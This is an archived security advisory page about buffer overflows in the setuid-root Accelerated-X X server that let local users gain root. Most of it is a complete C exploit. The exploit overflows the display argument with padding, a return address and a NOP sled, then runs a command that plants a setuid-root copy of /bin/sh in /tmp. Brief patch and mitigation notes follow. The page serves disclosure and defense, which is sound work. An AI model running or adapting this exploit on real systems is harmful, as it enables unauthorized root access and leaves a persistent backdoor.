Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Unix :: General :: accel2-2.htm

Accelerated-X - local admin privs



    Unices (Linux, FreeBSD, Solaris/x86, SCO)


    Following is based on KSR[T] Advisory #011.  Local users can gain
    administrative privileges by exploiting multiple buffer overflows
    (stack overwrites) in the Accelerated-X X server.

    Accelerated-X  Server  is  a  commercial  X  server available from  By default, the X server is installed setuid
    root so that when it is executed by a user it still retains enough
    privilege  to  load  drivers,  manipulate  the  display,  and  log
    information.   However,  due  to  insufficient  bounds checking on
    command-line parameters, an attacker can overflow the X server  by
    specifying a  48 byte  display string,  or through  a long  string
    passed into the -query command  line parameter.  Local users  that
    can execute the Accelerated-X Xserver can obtain root  privileges.
    (KSR[T]  would  like  to  thank  Chris  Evans for pointing out the
    -query  buffer  overflow  as  well  as  additional  security holes
    relating to command line parameters)

    Here is the exploit for the Accelerate-X buffer overflow.   c0nd0r
    checked  the  '-query'  argument  and  found  out that it will not
    overwrite the return address  thus not allowing the  exploitation.
    The argument '-indirect' behaves in the same way.

     * SDI linux exploit for Accelerate-X
     * Sekure SDI - Brazilian Information Security Team
     * by c0nd0r <>
     * This script will exploit a vulnerability found by KSRT team
     * in the Accelerate-X Xserver [<=5.0].
     * --------------------------------------------------------------------
     * The vulnerable buffer was small so we've changed the usual order to:
     * [garbage][eip][lots nop][shellcode]
     * BTW, I've also changed the code to execute, it will create a setuid
     * shell owned by the superuser at /tmp/sh.
     * --------------------------------------------------------------------
     *          responsability.
     * Greets to jamez, bishop, bahamas, stderr, dumped, paranoia,
     *           marty (NORDO!), vader, fcon, slide, c_orb and
     *           specially to my sasazita. Also,,
     *  (Phibernet rox) and
     * Laughs - lame guys who hacked the senado/
     * pay some attention to the site: (good point).
     * see you at #uground (

    #include <stdio.h>

    /* generic shellcode */
    char shellcode[] =
	    "/bin/sh -c cp /bin/sh /tmp/sh; chmod 6755 /tmp/sh";

    main ( int argc, char *argv[] ) {
     char buf[1024];
     int x, y, offset=1000;
     long addr;
     int joe;

     if (argc > 1)
       offset = atoi ( argv[1]);

     /* return address */
     addr = (long) &joe + offset;

     buf[0] = ':';
     for ( x = 1; x < 53; x++)
      buf[x] = 'X';

     buf[x++] = (addr & 0x000000ff);
     buf[x++] = (addr & 0x0000ff00) >> 8;
     buf[x++] = (addr & 0x00ff0000) >> 16;
     buf[x++] = (addr & 0xff000000) >> 24;

     for (  ; x < 500; x++)
      buf[x] = 0x90;

     for ( y = 0; y < strlen(shellcode); y++, x++)
      buf[x] = shellcode[y];

     fprintf (stderr, "\nSDI Xaccel - Offset: %d | Addr: 0x%x\n\n",
	      offset, addr);

     buf[strlen(buf)] = '\0';

     execl ( "/usr/X11R6/bin/Xaccel", "Xaccel", buf, (char *)0);

    // setenv ( "EGG", buf, 1);
    // system ( "/bin/sh");



    For AccelX 5.x: XiG  has made  a patch  available for 5.0.1  which
		    corrects these  and other  potential command  line
		    interface  security  holes.   Users  running 5.0.0
		    have to  apply the  5.0.1 patch  prior to applying
		    the 5.0.2 patch.  The patch is available at

    For AccelX 4.x: Patch will be made available shortly.  An  interim
		    solution  is  to  use  an  X server wrapper, or to
		    limit access  to the  Xaccel binary  via a special

    The upcoming  release of  Maximum CDE  2.1 comes  with the 5.0.2 X
    Server, and is not vulnerable to these attacks.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH